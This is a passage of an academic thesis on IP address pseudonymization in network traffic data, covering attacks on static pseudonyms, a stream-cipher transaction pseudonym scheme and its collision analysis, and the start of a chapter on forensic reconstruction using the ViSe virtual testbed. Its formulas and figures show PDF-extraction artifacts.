OUT: two n-bit blocks a′ and b′ replacing the plaintext addresses a and b, one bit s indicating
whether a lexicographically precedes b or not
if a lexicographically precedes b then
apply prefix-preserving pseudonymization F to a to get c
apply prefix-preserving pseudonymization F to b to get d
s← 0
else
apply prefix-preserving pseudonymization F to a to get d
apply prefix-preserving pseudonymization F to b to get c
s← 1
end if
i← l
while i > 0 do
p← p− wi
encrypt the concatenation of bits p + 1, . . . , p + wi of c and d with the last n − p bits from
any previous encryption, if any with en−p
i← i− 1
end while
call the resulting cryptotext block r
a′ ← first n bits of r
b′ ← last n bits of r
return a′, b′, s
weighted tree. The adversary can now identify some address pairs (Ii, Ij) or (Ij, Ii).
The adversary is now able to identify selected sessions between two target addresses,
but he can not, however, recognize any single IP address in general.
Suppose the adversary wants to pick out all pseudonymized packets containing
the IP address a in their headers. This assumption implies that the actual “set
of interest” is {a}. To find all packets containing a, the adversary must generate
all possible lexicographically sorted pairs (a, b) and (b, a) of IP addresses, where b
is an IP address. This set can then be sorted in a binary search tree. The “set
of interest” now contains 2n−1 elements, and the length of the elements is not n
anymore, but 2n. This results in two problems.
First, the number of packets required to mount an injection attack in conjunction
with traffic analysis has become excessive: the adversary must expect that the
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Figure 4.3: Example use of Hardened Pseudonymization II [A20].
injections will be noticed. This can be mitigated by executing a distributed injection
attack. Of course, there is then the problem of collecting sufficient logs to carry out
the subsequent analysis.
Second, even though a search tree has been constructed, only 2p out of 2n bits
are tractably deducible. The rest have been encrypted with a strong block cipher,
and should not be deducible using the type of analysis presented here.
4.4.3 Strengthening the Anonymization of Two-way Ses-
sions Using Hash Functions
One method of IP address anonymization is hashing of IP addresses, which can
be done for a large set of distributed measurement sites without any coordination
between the sites. The method is essentially to apply a cryptographically strong
hash or encryption function f to a (possibly padded) n-bit IP address, and retain
the last w bit of the hash or encryption result. Usually w = n to exploit available
address fields to their fullest. The result is a unique identifier that can be computed
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by any node. A limiting factor with respect to the security of such an anonymization
is the number of bits n in an address, as discussed in Section 4.3.1.
The proposed strengthening is presented in Algorithm 4.6, and it is illustrated in
Figure 4.4. It is based on the assumption that the most interesting measurements
are carried out on traffic between two fixed parties A and B. Thus identifying
individual nodes is not imperative per se´. Rather the identification of pairs of
addresses is imperative. It is therefore possible to apply a hash or encryption
function f to the concatenation of source and destination address. Denote by a the
address of A, and by b the address of B. Since f operates on ab (the concatenation
of a and b’s addresses), 2n bits of f ’s output must be retained. Obviously, hashes
that are 2n bits in length are cryptographically stronger than hashes that are n bits
in length.
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Figure 4.4: Illustration of block anonymization shows how it provides bidirectional
traffic with a unique hashed identifier, which is equal for both directions.
Note that the use of a key or initialization vector or both is implicit in Algo-
rithm 4.6. Also since a′ and b′ do not change if the packet’s direction between A
and B changes, s is needed to keep track of the packet direction. If s = 0, then
a′ contains the source’s half of the hash and b′ the destination’s half of the hash.
If s = 1, then a′ contains the destination’s half of the hash, and b′ the source’s
half. The result of the anonymization is that all packets sent between two specific
addresses a and b have identical source and destination fields irrespective of packet
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Algorithm 4.6 Block Anonymization
IN: (n, a, b, f) {address length in bits n, source address a, destination address b, cryptographically
strong hash function f generating output at least 2n bits long, or keyed encryption function f
with block length 2n}
OUT: two n-bit blocks a′ and b′ replacing the plaintext addresses a and b, respectively. One bit
s indicating whether a lexicographically precedes b or not.
if a lexicographically precedes b then
return last 2n bits of f(ab) split into two n-bit bitstrings, along with s = 0
else
return last 2n bits of f(ba) split into two n-bit bitstrings, along with s = 1
end if
direction. Packet direction is determined using s. If f is a block cipher encrypt-
ing 2n bit blocks, complete recovery of the original addresses is both possible and
efficient, given the correct key.
The single bit of plaintext search space lost through lexicographical ordering
is trifling compared to the other problems of these anonymization systems. The
net effect is to increase the effective plaintext search space by a factor of 2n−1,
and presumably the time complexity of cryptographic attacks (such as the birthday
attack) is increased by a factor of approximately 2(n−1)/2.
4.4.4 Attacking Strengthened Pseudonymization
The strengthened algorithms above pseudonymize pairs of IP addresses instead
of pseudonymizing the addresses individually. Because the addresses in each pair
are sorted prior to pseudonymization, and an extra order bit is stored, it is easy
to identify packets belonging to the same session, as well as the direction of the
packet. The attack presented in this section is enabled by relaxing Assumption 4.6
to Assumption 4.7.
Assumption 4.7. The adversary wants to pick out all pseudonymized packets con-
taining the IP address pairs (c, d) in their headers such that either c = a and d ∈ B
or c ∈ B and d = a, where a is a fixed IP address and B is a fixed set of IP
addresses.
Based on Assumption 4.7, we have a “set of interest” with |B| pairs of addresses.
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Assign unique positive integer weights to all address pairs, and inject this number
of packets into the network. Doing this so as to minimize the number of injected
packets required, takes at least
∑|B|
j=1 j = |B|(|B| + 1)/2 packets, which is order
O(n2). For each pseudonymized pair, record the number of times it shows up in
the traffic data. Then compare with the plaintext pairs to match them. This can
be done in O(|B| log |B|) time by sorting both lists of pairs by their frequencies of
occurrence in the traffic data.
4.5 Transaction Pseudonymity
This chapter presents a scheme for non-expanding transaction pseudonymization3
of IP addresses in traffic data collected from distributed passive network monitor-
ing sensors on high-capacity network links. The scheme presented in this section
is transaction specific, providing protection against injection attacks, while sup-
porting efficient matching of pseudonyms for an authorized user through the use of
partial disclosure of address information. The scheme is non-expanding and requires
no more storage space than the original plaintext address. It is intended to pro-
vide a flexible solution for pseudonymization in high-capacity networks, supporting
different applications and user groups with various requirements and trust levels.
This section is based on [A21], which suggested the use of non-static pseudonyms
for IP addresses as a possible countermeasure against packet injection and frequency
analysis attacks. Such a solution should ideally satisfy the following criteria:
• Each pseudonymization of the original data should be a transaction pseudo-
nym, so that there is no recognizable relationship between different pseudo-
nyms of the same original data;
• the data should be efficiently searchable for an authorized user with the ap-
propriate credentials; and
3This term is employed in the sense of “one-time pseudonyms” as mentioned in [A94].
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• only the the minimum information about the plaintext data required by an
authorized application should be revealed.
If these criteria can be met by a pseudonymization scheme, it should provide both
resistance against traffic analysis, as well as support for authorized analysis ap-
plications. This concept of pseudonymization is similar to multi-show anonymity.
The multi-show capability [A25] bases itself on proving the existence of a constant
credential, and that the credential satisfies certain criteria. In our case, we generate
a number of different unique pseudonyms for the original value in order to prevent
injection attacks and the most obvious cryptographic attacks.
An example where partial disclosure of information might be needed, but plain-
text data is not needed, is in performance measurements for the network backbone.
In such a case, only some topology information is required, and this does not require
the use of plaintext IP addresses. One important operation is matching packets in
order to carry out performance measurements in the network. Also, the ability to
efficiently match addresses is necessary for analysis where request/response packets
are paired. Thus a primary criterion when deciding the usefulness of any trans-
action pseudonymization is how efficiently address matching can be done without
compromising the pseudonyms. Alternately, the question is to what degree one
must reveal information in order to allow efficient matching.
Consider the following two variations of non-static pseudonymization schemes
for IP traffic data:
• transaction specific: each occurrence of a datum has a unique pseudonym;
and
• session specific: each occurrences of a datum has a pseudonym unique to a
session.
This chapter concentrates on the transaction specific pseudonymization, but the
present approach can be adopted to support session specific pseudonymization.
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There are, however, some fundamental problems associated with doing session spe-
cific pseudonymization that would have to be considered. Sessions have no general
upper bound on the number of packets required for them to run to completion.
Also, depending on the type of session in question, and the design quality, the se-
mantics of whether or not a session is active or terminated at any given point in
time can be ambiguous.
The basic property we want to achieve is unlinkability between different pseudo-
nyms, even if they are instances of the same IP address. The schemes discussed
are generally applicable to the anonymization of both individual IP addresses, pairs
of IP addresses, as well as other types of data. The cryptographic approaches are
generally reversible, but they can be made irreversible through the use of one-way
functions4.
4.5.1 Stream Cipher-based Pseudonymization
This section shows how stream ciphers can be employed to construct a non-
expanding transaction specific pseudonymization scheme. The term non-expanding
refers to the fact that it does not increase storage complexity, and in turn storage
costs. The essence of the scheme is to partition each IP address into l bitstring
segments of length w1, w2 . . . , wl, respectively. The pseudonymization proceeds by
running a stream cipher for each of the l segments. The stream cipher for each
segment j runs in counter mode [A79], operates on the segments of length wj, and
increments the “counter” for each crypto block. This counter is referred to as the
initialization vector (IV).
First, the stream cipher mode used in this section is described. Based on this,
a bitwise pseudonymization scheme is presented. It is a specific instance of a more
general segmented pseudonymization scheme working on segments (i.e., bitstrings).
The construction of the more general scheme is demonstrated through the use of
the bitwise scheme.
4See definition 9.9, page 327 in [A79].
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4.5.2 Stream Ciphers
Stream ciphers (see [A79, A106]) are algorithms that encrypt plaintext a number
of bits at a time. For the purpose of this chapter, we are using all bits from
the output, 1 bit at a time. A stream cipher can be either synchronous or self-
synchronous, depending on whether the key stream is independent of the message
stream or not. In a synchronous stream cipher, the key stream is independent
of the message stream, so that the encrypting and decrypting parties have to be
synchronized with respect to the key stream generation.
A counter mode stream cipher is a type of synchronous stream cipher that
uses a simple next-state function (usually a counter) and a nonlinear output trans-
formation dependent on a key to produce its output (see [A41]). An advantage
of this mode is that it provides random access to plaintext data. However, self-
synchronization with the ciphertext stream is not possible; it is not possible to
start the decryption based on the availability of a sufficient amount of ciphertext.
Random access to data is only possible given the right initialization vectors and
decryption keys. Another advantage with synchronized block ciphers is that there
is no inherent error propagation. Accordingly, error correction is not considered in
this section, although it may be required for some applications.
4.5.3 Bitwise Non-expanding Pseudonymization
This section discusses a method for individual bitwise pseudonymization of IP ad-
dresses. A generalization of this scheme is outlined in Section 4.5.4. Each bit in a
block of data is encrypted with an individual key stream applied to that specific
bit position in every concurrent block of data. The collected traffic data can be
considered an ordered list of rows. Each row contains the data collected from one
packet. Before applying the pseudonymization itself, this list is split into a series of
sublists in order to facilitate the key management scheme presented in Section 4.5.5.
In the bitwise scheme, applied to a sublist, each IP address of n bits, a1a2 · · · an,
is to be pseudonymized. Figure 4.5 shows how this scheme works on individual
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IP address
a1 a2 · · · an
?j
?
IV
-
K1-
stream S1 -
?j
?
K2-- stream S2 -
...
?j
?
Kn-- stream Sn -
p1 p2 · · · pn
Figure 4.5: Example of bitwise pseudonymization using a counter mode stream
cipher
bits in the IP addresses. There are n individual stream ciphers in counter mode,
S1, S2, . . . , Sn, individually keyed with keys K1, K2, . . . , Kn, using the same initial-
ization vector IV and supplying a stream of b bits per round. This bitstream is used
to encrypt one bit column in b consecutive IP addresses. In other words, for every
bit from stream Sj, one bit from the IP address aj is pseudonymized into pj. IV is
incremented synchronously for all streams after b IP addresses have been pseudo-
nymized. In this way, individual bit columns in the pseudonymized IP addresses
can be revealed to users in a non-expanding manner.
When the rows of encrypted data are written to log files, there will be no infor-
mation linking two log entries with the same plaintext. The scheme also facilitates
partial release of individual bits. For example, the first 24 bits in an IP address can
be released to allow a view of class C subnet activity without revealing information
about the 256 individual addresses within that subnet. This also hides information
about the traffic distribution between individual hosts within the subnet.
CHAPTER 4. PRIVACY IN NETWORK MONITORING 111
IP addressw1︷ ︸︸ ︷ w2︷ ︸︸ ︷ wl︷ ︸︸ ︷
A1 A2 · · · Al
?j
?
stream S ′1 -
w1 bits
IV
-
K1-
?j
?
stream S ′2 -
w2 bitsK2--
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Figure 4.6: General non-expanding stream pseudonymization
4.5.4 General Non-expanding Pseudonymization
This bitwise model can be extended to a more general scheme introducing l segments
of bitstrings, w1, w2, . . . , wl, covering all n bits of the IP address, Σ
l
i=1wi = n, as
shown in Figure 4.6. The reason for grouping the bit columns is that users most
often do not need access to individual bits, and protection at this level may not be
required.
For each segment j we have a stream cipher, S ′j, that in essence consists of
wj bitwise stream ciphers as in Section 4.5.3. However, these stream ciphers are
individually keyed from a strong pseudorandom sequence based on one key, Kj.
The bitwise stream ciphers from Section 4.5.3 are used even in the general
scheme, as it is easier to implement, while preserving the flexibility of grouping the
bits as needed. We still have the same number of encryptions due to the constant
amount of data to be encrypted, and we observe that this must be the minimal
number of encryptions needed in order to have partial release of the individual
groups.
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Figure 4.7: Segments, sublists, IVs and key usage
4.5.5 Key Scheme
The captured traffic data can be viewed as a long list of rows, each row containing
packet header data for one packet. This list is split into a series of sublists as shown
in Figure 4.7. Each IP address is split into a series of segments. The key scheme
has been designed with the following criteria in mind:
1. key generation must be easy, given some master key, so that it is not necessary
to store and administer large numbers of keys;
2. access to individual address pseudonyms should be as close to random access
as possible; and
3. release of key material to enable disclosure should result in an access capability
which is limited in both time and space.
To enforce limited access in time and space, each sublist is assigned a unique
initialization vector, and each segment in the IP addresses is assigned a unique
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key. Random access to specific segments of individual addresses is then possible
by knowing: the segment key, the initialization vector of the block, the function
g (which is fixed for a list and public), and the row number of the packet data in
question. The three ciphers are described below.
Column Cipher One cipher encrypts each column of bits in the IP addresses
as a bit stream, and it is referred to as the column cipher. This cipher is thus
used for the pseudonymization itself, which is done sublist by sublist. The column
cipher operates in counter mode, and encrypts segments. The key for this cipher is
determined by which segment (i.e., the ith segment) out of the l possible segments
is being encrypted. For reasons of efficiency, however, wi stream ciphers are used
in parallel for segment i. In order to avoid use of the same key for all wi stream
ciphers, the key for the stream cipher encrypting the hth bit in segment i uses key
Ki + h− 1.
Sublist IV Generator One cipher is used to generate the initialization vectors
for each sublist, and it is referred to as the sublist IV generator. The initialization
vector for the cipher is determined by the initialization vector for the sublist in
which it is currently operating, and the number of rows from the top. If it is j rows
from the top, then the effective initialization vector is IV+g(j), where g(j) is some
function of j such that g(j) ≤ j. g is necessary, as a stream cipher in counter mode
generally produces a number b of bits. Instead of using only one bit, we would like
to use as many as possible before incrementing the initialization vector. Typically
g(j) = bj/bc. The sublist IV generator is used to generate a key stream. This key
stream is split into a series of bitstrings of equal length. The length is selected so
that these bitstrings can be used as initialization vectors for the column cipher. In
this way, the initialization vectors for individual sublists can be generated quickly
and securely. One such initialization vector is stored for each sublist. If this should
be too much, the complexity of regenerating the relevant initialization vector on
demand should be surmountable.
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Segment Key Generator One cipher is used to generate the keys for the column
cipher, and is referred to as the segment key generator. The l keys for each of the l
segments are fixed for the entire list. The segment key generator is used to generate
keys for each bit column. Thus these keys number at most n, which is the number
of bits in an IP address, and can easily be stored and managed.
4.5.6 Properties of the Scheme
In this section, the functional properties of the scheme and its applications are
evaluated.
Transaction Specificity
Assume that the IVs have length v. Each IP address instance has been given a
unique pseudonym, in spite of the fact that each pseudonym has a length equal
to the original address. To see how this is possible, note that the decryption of
a pseudonym depends on knowledge of a number of keys, and in addition the
exact position in the list of the specific pseudonym instance. Strictly speaking,
the pseudonym is thus the pair (i, p), where i is the row number, and p is the
encrypted address. Since, however, i is implicitly given, it is not necessary to
store, and hence the scheme is non-expanding. As a result, it is important that
the pseudonymized list be stored with captured packet information in the order
in which it was pseudonymized. Thus the scheme is transaction specific, but only
probabilistically so.
Random Access to Pseudonyms
Access to the pseudonyms themselves is as close to random access as efficient use
of the stream ciphers will allow. Rows are effectively accessed in groups of b con-
secutive rows at a time, and the specific group of rows can be accessed directly.
The only processing required is the decryption key generation and the generation
of the appropriate IVs. Both these tasks require only table lookups and a small
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number of additional operations, bounded by n for the keys, and by a constant for
the IV. Thus the access is very close to true random access, given that sublists are
not reordered, or that their ordering is explicitly marked.
Limiting Access with Initialization Vectors and Segment Keys
With respect to limiting access, first note that each sublist has its own IV. Since each
such IV is generated by a secure stream cipher, there is no exploitable statistical
correlation between the sublist IVs. Thus knowledge of one IV does not allow an
adversary to deduce IVs for previous or subsequent sublists. Similarly, knowledge of
one segment key does not allow deduction of the other segment keys, provided they
are randomly chosen. Decryption of one or more address bits requires knowledge of
both the IV and at least one segment key. Thus, knowledge of a segment key alone
does not enable decryption of bits in that same segment in other sublists.
Combination of Schemes: Anonymity and Protection
The scheme as presented so far provides access to a number of bits of address in-
formation in plaintext to authorized users. Partial disclosures of plaintext data
may, however, be unacceptable in some situations. In such cases, the data could
be pseudonymized with a static pseudonymization scheme, such as cryptographic
prefix-preserving pseudonymization, before it is protected with transaction specific
pseudonymization. In this way, trusted users are given access to parts of the prefix-
preserving pseudonym. These users are obviously able to perform injection attacks,
but the effect of such attacks are reduced through the practice of partial disclo-
sure. This would provide partial disclosure of data in a flexible manner, while still
protecting private data. Disclosure is performed in two steps:
1. disclosure of encryption keys and relevant IVs for the transaction specific
pseudonymization function discloses partial information about the static
pseudonym; and
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2. disclosure of encryption keys for the cryptographic prefix-preserving discloses
information about the plaintext address.
This combination scheme provides full support for pseudonymity revocation.
4.5.7 Security Aspects of the Scheme
This section analyzes the security of the transaction specific pseudonymization
scheme, concentrating on the collision properties of the components. It is demon-
strated that the criteria stated above can be systematically determined and met.
The security of the scheme presented depends on the security of the ciphers used
to:
1. generate the individual column keys (segment key generator);
2. encrypt the segments themselves (column cipher); and
3. generate the initialization vectors for the sublists (sublist IV generator).
Assumption 4.2 implies that any two bits the stream ciphers generate are sta-
tistically independent, and that it is not possible to infer any simple functional
relation between any two bits in the stream without knowledge of both the key and
the IV. Note that the sublist IV and segment key generators should be ciphers with
key length no less than that employed for the column cipher.
Security of the Segment Key Generator
Since IP addresses are split into l segments, the segment key generator generates a
set κ = {K1, . . . , Kl} of L-bit keys. One or more of these keys may be released to
a party that has been granted access to the corresponding IP address segments in
one or more sublists. There are
∏l
i=1 2
L = 2lL possible ways of selecting κ.
A possible weakness arises if a key is selected more than once. wi− 1 additional
keys are generated from Ki as a series of successive increments from Ki. Thus
the effective set of keys is K1, . . . , K1 + w1 − 1, . . . , Kl, . . . , Kl + wl − 1. There are
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2L−∑ij=1 (wj + wi+1 − 1) ways of selecting key number i+1 so that no key is used
twice. Thus the probability of no collision is:
p0 =
l∏
i=1
2L −∑i−1j=1 (wj + wi − 1)
2L
. (4.3)
Column Cipher Security
Ignore key generation aspects and assume that the key for the individual column is
genuinely random and unknown to attackers. Given such keys, the cipher and its
use within this scheme is semantically secure by assumption.
Security of the Sublist IV Generator
It is conceivable that an IV collision can occur. Let initialization vectors be gen-
erated at random for each sublist. If sublists have length s, and two sublists have
initialization vectors Ii and Ij, i 6= j, such that |Ii− Ij| < s/b, there is a possibility
that the same address has been encrypted with the same effective IV twice.
The column cipher produces b bits per round of encryption. Assume that s is
a multiple of b. When m sublists of length s have associated IVs generated for
them, the number of possible effective IVs is ms/b in all. This is selected from in
all 2L IVs, where L is the key length of the sublist IV generator. There are
∏m
i=1 2
L
possible IVs. Assume that i − 1 IVs have been selected so that their respective
sublists have no overlap of effective IVs. Selecting the ith IV with no resulting
overlap can be done in 2L − i (2s
b
− 1) ways. Thus the probability of selecting IVs
without IV collisions is:
p0 =
m−1∏
i=0
(
2L − (2s
b
− 1) i)
2L
=
m−1∏
i=0
(
1− 2−L
(
2s
b
− 1
)
i
)
.
(4.4)
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Ignoring products with factors of the form 2−Li, where i > 1, one conservative
approximation is:
p0 ≈ 1− 2−L
m−1∑
i=0
(
2s
b
− 1
)
i
= 1− 2−L
(
2s
b
− 1
)
m
2
(m− 1).
(4.5)
Thus the approximate probability of at least one collision occurring is
pc = 1− p0 ≈ 2
−L−1
b
(
2m2s− 2ms−m2b+mb) . (4.6)
Fix pc at a desired level, then:
L ≈ − log2 b− log2 pc + log2m
+ log2 (2ms− 2s−mb+ b)− 1.
(4.7)
4.6 Discussion
This chapter has demonstrated that static pseudonymization schemes can be effec-
tively circumvented through injection attacks and frequency analysis. The attacks
that have been presented requires O(n2) packets and thus O(n2) time. If a syn-
chronized or header tagging attack can be successfully launched, the complexity can
be reduced to O(n). In all cases, the most time consuming step is not the attack
itself, but the acquisition and scanning of the traffic data to find the data from the
injected packets.
Three methods for strengthening existing pseudonymity schemes through
pseudonymizing address pairs rather than individual addresses have been proposed.
These improvements increase the difficulty of launching attacks, but the presented
attacks are still applicable. An attack against the strengthened methods, based
on an attack on address pairs of interest, is shown. This type of attacks apply to
CHAPTER 4. PRIVACY IN NETWORK MONITORING 119
all types of IP address pseudonymization, as long as the pseudonyms are static.
The attack is not limited to prefix-preserving pseudonymization. This chapter
also described a method for transaction pseudonyms, providing unique, unlink-
able pseudonyms for each transaction. This method provides protection against
the attacks described in this chapter, and authorized users can access the minimum
amount of data for specific analysis applications. The scheme is non-expanding, in
that it does not increase the storage requirements for monitoring data.
Other countermeasures that can be considered are detection and prevention of
packet injection and mandatory sampling. Detection and prevention of packet in-
jection can for instance be done through the detection and removal of malformed
packets. This would, however, impact measurements, such as e.g., measurements
designed to capture network errors. Also, a resourceful adversary would most likely
be able to circumvent such a protection system. Mandatory sampling at the moni-
toring sensors will increase the cost of performing a successful injection attack This
forces the adversary to inject redundant packets to ensure capture of the relevant
packets in the traces. It also increases the probability that the injected packets will
not have correct relative weighting in the traffic data. In other words it does not
prevent the attack, but it increases its cost, and also the probability of detecting it.

Chapter 5
Digital Forensic Reconstructions
Betre byrdi
du ber ’kje i bakken
enn mannavit mykje.
D’er betre enn gull
i framand gard;
vit er vesalmanns trøyst.
H˚avam˚al [B178]
This chapter presents ViSe, a virtual security testbed, and demonstrates how it
can be used to efficiently study computer attacks and suspect tools as part of a
computer crime reconstruction. Based on a hypothesis of the security incident in
question, ViSe is configured with the appropriate operating systems, services, and
exploits. Attacks are formulated as event chains and replayed on the testbed. The
effects of each event are analyzed in order to support or refute the hypothesis. The
purpose of the approach is to facilitate reconstruction experiments in digital foren-
sics. Two examples are given to demonstrate the approach; one overview example
based on the Trojan defense and one detailed example of a multi-step attack. Al-
though a reconstruction can neither prove a hypothesis with absolute certainty, nor
exclude the correctness of other hypotheses, a standardized environment, such as
ViSe, combined with event reconstruction and testing, can lend credibility to an
investigation and can be a great asset in court.
121
122 5.1. BACKGROUND
This chapter is based on [A7, A8]. ViSe was originally developed by Mike
Richmond and extended by Paul Haas at UCSB. The work in this chapter has been
done in close cooperation with Paul Haas, Professor Giovanni Vigna, and Professor
Richard A. Kemmerer. The author of this thesis developed the main concepts and
the methodology and proposed employing ViSe in digital forensic reconstructions.
Paul Haas executed the multistep attack, and the author of this thesis performed
the forensic analysis in cooperation with Paul Haas.
This chapter is organized as follows. Section 5.1 presents background informa-
tion about the forensic methodology of crime scene reconstruction and various types
of testbeds, as well as some related work. Section 5.2 presents the terminology and
methodology used in this chapter. Section 5.3 provides a detailed description of the
security testbed ViSe, as well as a discussion of the use of virtualization in security
and forensic testing. Sections 5.4 and 5.5 provide examples of the approach based
on the Trojan defense and a multi-step attack, demonstrating how ViSe can be
applied to digital forensic reconstruction testing. The chapter is concluded with a
discussion of the approach in Section 5.6.
5.1 Background
Digital forensics is gaining importance with the increase of cybercrime and fraud
on the Internet. Tools and methodologies for digital forensics with the soundness
necessary for presentation in court are in high demand. This chapter describes
the use of the Virtual Security Testbed (ViSe) [A101] as a tool in digital forensic
reconstruction. A testbed and a methodology for testing computer attack tools are
presented, as a digital analogy to testing evidence dynamics in physical forensics.
The basic idea is to provide an infrastructure where specific attacks can be studied in
a way similar to testing the ballistics of a firearm in order to establish its properties.
The goal of this approach is to be able to perform testing in a forensically sound
manner such that the test results may be presented in court, supporting or refuting
a hypothesis regarding a particular sequence of events.
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The traditional focus in digital forensics has been on identification, acquisition,
and analysis of digital evidence, using toolkits such as EnCase [B156], ILook [B174],
and Sleuthkit [B149]. These toolkits support operations like the recovery of deleted
files, string searches, and searches for known files. Recently, there has been an in-
creasing interest in more sophisticated methodologies for digital forensic analysis,
including crime scene reconstructions and studies of evidence dynamics. This chap-
ter presents a method for experimental testing in digital forensic reconstructions.
Central to the discussion is the trade-off between the desired detail of the re-
construction and the difficulty of performing the reconstruction experiments. The
approach taken in this chapter is to study the most significant aspects of a digital
crime or a suspect tool using minimal resources in terms of time and equipment.
Other approaches, such as physical testbeds or simulations, may be more useful in
some cases, as discussed in Section 5.6.
This section presents the forensic methodology of crime scene reconstructions,
a discussion of different types of testbeds, as well as an overview of related work.
5.1.1 Crime Scene Reconstruction
Crime scene reconstruction (or crime reconstruction)1 is a fairly new development
in forensic science, as discussed in [A32, A86]. The purpose of the method is to
determine the most probable hypothesis or sequence of events by applying the scien-
tific method to interpret the events that surround the commission of a crime [A86].
The basic approach is to state the problem, form a hypothesis, collect data, test the
hypotheses, follow up on the most promising hypothesis, and finally draw conclu-
sions supported by admissible evidence. The analysis may involve the use of logical
reasoning [A86] and statistical analysis [A3, A27], as well as domain knowledge
about psychology, criminology, natural sciences, etc. The conclusions of a crime
scene reconstruction are usually given with a level of certainty associated with the
different hypotheses, indicating the level of evidentiary value.
1Note that a crime reenactment is unrelated to a crime scene reconstruction.
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Carrier and Spafford have proposed an “event-based digital forensic investiga-
tion framework” [A29] and a method for “event reconstruction of digital crime
scenes” [A28]. They propose a five step process:
1. Evidence examination: a full examination of the evidence aimed at identifying
and characterizing evidence relevant to an incident.
2. Role classification: examine the role of the evidence as a cause or effect of
one event.
3. Event construction and testing: identification of events based on the available
evidence and testing of whether the events are possible.
4. Event sequencing: the linking of multiple events into event chains.
5. Hypothesis testing: the hypotheses about the incident are tested.
This chapter discusses a way to test events in a forensically sound manner using
an isolated virtual environment (ViSe). A hypothesis is made based on available
digital evidence and then tested in the ViSe virtual testbed. The hypothesized
attack is replayed, and an analysis of all available data (storage media and volatile
memory of all involved hosts, as well as network traffic) may support or refute
the hypothesis. In this way, we see how replaying events in a virtual environment
can help identify the causes, effects, and internal workings of simple or multi-step
attacks. Using Carrier and Spafford’s model, this approach may be seen as part
of the event construction and testing, but it is primarily directed at performing
experiments related to the event sequencing. This is referred to as a reconstruction
experiment.
5.1.2 On Testbeds
Testbeds for performing reconstruction experiments can be classified as either phys-
ical testbeds, virtual testbeds, or simulated testbed. With physical testbeds, one
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tries to create a testbed that is as close to identical as possible to the crime scene in
terms of hardware and software configurations. This is obviously an expensive and
resource-demanding approach, but it may be necessary for some reconstructions.
A virtual testbed uses virtualization software to emulate the digital crime scene.
The entire crime scene, including hosts and networks, can be emulated on a single
host. This approach has significant advantages over a physical testbed in terms of
resource use and efficiency, but there are some experiments that cannot reliably be
reproduced on virtual testbeds.
If the reconstruction is complex and involves a high number of hosts and events,
a useful approach can be to model and simulate the events. This approach can
be useful when investigating e.g., worm attacks and DDoS attacks. The advantage
of this method is that it can focus on the most relevant mechanisms of an attack.
However, this method cannot approach the level of detail provided by physical and
virtual testbeds.
5.1.3 Related Work
Formal frameworks for the reconstruction of digital crime scenes are discussed by
Stephenson [A119] and Gladyshev and Patel [A54]. Stephenson uses a Petri Net
approach to model worm attacks in order to identify the root cause of an attack.
Gladyshev and Patel present a state machine approach to model digital events.
Their approach uses a generic event reconstruction algorithm and a formal method-
ology for reconstructing events in digital systems. In contrast, the approach pro-
posed in this chapter sets up a virtual digital crime scene in order to replay the
digital events in a realistic fashion. Therefore, this approach is complimentary to
those of Stephenson, Gladyshev, and Patel.
A significant challenge in digital forensics is to achieve automated evidence anal-
ysis and automated event reconstruction. Stallard and Levitt [A115, A114] have
proposed an expert system using a decision tree to search for violations of known
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assumptions about data relationships, and Abbott, Bell, Clark, De Vel, and Mo-
hay [A1] have proposed a framework for scenario matching in forensic investigations
based on transaction logs with automated recognition of event scenarios based on
a stored event database. These approaches do not suggest replaying the scenarios
on a testbed, but the output of their systems could be used as a basis for realis-
tic testing in ViSe. This would provide a far more thorough analysis and a more
convincing case in court. Elseasser and Tanner [A44] have proposed an automated
diagnosis system that generates possible attack sequences based on profiles of the
victim host configuration and of the unauthorized access gained by the attacker.
The hypothesized attack sequences are simulated on a model of the victim network,
and a successful simulation indicates that the attack sequence could feasibly lead to
unauthorized access. This chapter describes an approach that performs the replay
on virtual systems rather than performing simulations, but the general approach
of hypothesis generation could be combined with the approach described in this
chapter. Neuhaus and Zeller [A82] have recently proposed a method for automati-
cally isolating processes that are necessary for an intrusion to occur. They propose
to capture system calls on a live host and then replay these on a testbed. Their
implementation, Malfor, has proved able to identify both the root cause and all
intermediate steps needed to reproduce an attack. Their approach is designed for
real-time use, but it could be combined with the approach described in this chapter
to include system calls in the analysis and to automate the reconstruction analysis.
Virtualization is frequently used in security research, primarily because of the
flexibility and the small resource requirements. As an example, [B146] discusses the
use of VMware and the forensic tool SMART for recreating a suspect’s computer.
The approach presented in this chapter takes this idea further by emulating the
entire digital crime scene as part of a digital event reconstruction. Virtualization
is also frequently used by the honeypot community. Low-interaction honeypots,
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such as Honeyd [B169], often have built-in virtualization of services, whereas high-
interaction honeypots, such as honeynets [B157], are often deployed using full oper-
ating system virtualization. See also [B172] for a discussion of the advantages and
disadvantages of VMware in the context of honeypots.
Recent security testbeds include LARIAT [A104], LLSIM [A59], Netbed [A140],
Deter [B175], and vGrounds [A68]. LARIAT is the first simulated platform for test-
ing intrusion detections systems, and LLSIM is its virtualized descendant. Netbed is
a simulation environment that served as the predecessor to Deter, a cluster testbed.
vGrounds is a virtual environment based on UML (User Mode Linux) [B155]. These
testbeds provide large-scale simulation at the cost of the accuracy and the number of
operating systems and services supported. Section 5.6.3 discusses cases where this
approach may be useful. ViSe supports more exact system and network interaction
on a wider range of operating systems. ViSe images are provided in a large library
of pre-configured attacks and vulnerable services on common operating systems.
ViSe also includes an IDS system to identify the manifestations of an attack.
5.2 Terminology and Methodology
As described in Chapter 2, a digital crime scene can consist of a number of com-
puting and storage devices, as well as the network connecting them. Assume that
a digital crime scene consists of a number of computer systems, divided into three
categories: namely attack hosts, victim hosts, and third-party hosts. The third-party
hosts may, for instance, include network or security services that perform logging,
or other service providers such as certification authorities. Recall that Digital evi-
dence is any digital data that contains reliable information that supports or refutes
a hypothesis about an incident. Note that all the analysis is assumed to be per-
formed on copies of the evidence in order to preserve the integrity of the evidence.
Also, all evidence is analyzed on analysis hosts, which are not part of the digital
crime scene.
An event e is an occurrence that changes the state of a computing system.
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A crime or incident is an event that violates policy or law. An event chain
E = e1, . . . , en is a sequence of events with a causal relationship. The latter defini-
tions are adopted from [A29, A28]. Evidence dynamics is described in [A32] to be
“any influence that changes, relocates, obscures, or obliterates physical evidence,
regardless of intent”. A central issue in evidence dynamics is to identify the causes
and effects of events. The evidence dynamics of different digital media varies. A file
can be modified or deleted, and timestamps can be updated. Unallocated data on a
disk can be overwritten, and volatile memory can be overwritten or moved to page-
files. Data transmitted on a network may leave traces in log files and monitoring
systems.
The approach to performing reconstruction experiments starts with a hypoth-
esis H0 stating that one or more tools have been run as part of an attack. The
corresponding event chain is then replayed on the testbed. Following execution,
